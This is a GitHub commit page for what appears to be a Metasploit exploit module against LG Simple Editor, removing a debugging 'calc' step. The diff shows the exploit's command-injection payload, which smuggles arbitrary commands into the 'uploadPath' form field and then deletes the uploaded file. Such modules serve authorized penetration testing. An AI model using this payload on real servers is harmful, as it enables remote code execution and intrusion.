Skip to content

Commit 8e45030

Browse files
committed
Removed debugging code
Removed debugging code
1 parent 8732d7c commit 8e45030

File tree

1 file changed

+1
-1
lines changed

1 file changed

+1
-1
lines changed

modules/exploits/windows/http/lg_simple_editor_rce_uploadvideo.rb

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -90,7 +90,7 @@ def exec_simplerce(cmd)
9090
vprint_status("Using random filename: #{filename}.mp4")
9191
form = Rex::MIME::Message.new
9292
form.add_part('/', nil, nil, "form-data; name=\"uploadVideo\"; filename=\"#{filename}.mp4\"")
93-
form.add_part("/\"&#{cmd}&calc&cd ..&cd ..&cd ..&cd server&cd webapps&cd simpleeditor&del #{filename}.mp4&/../", nil, nil, 'form-data; name="uploadPath"')
93+
form.add_part("/\"&#{cmd}&cd ..&cd ..&cd ..&cd server&cd webapps&cd simpleeditor&del #{filename}.mp4&/../", nil, nil, 'form-data; name="uploadPath"')
9494
form.add_part('1', nil, nil, 'form-data; name="uploadFile_x"')
9595
form.add_part('1', nil, nil, 'form-data; name="uploadFile_width"')
9696
form.add_part('1', nil, nil, 'form-data; name="uploadFile_height"')

0 commit comments

Comments
 (0)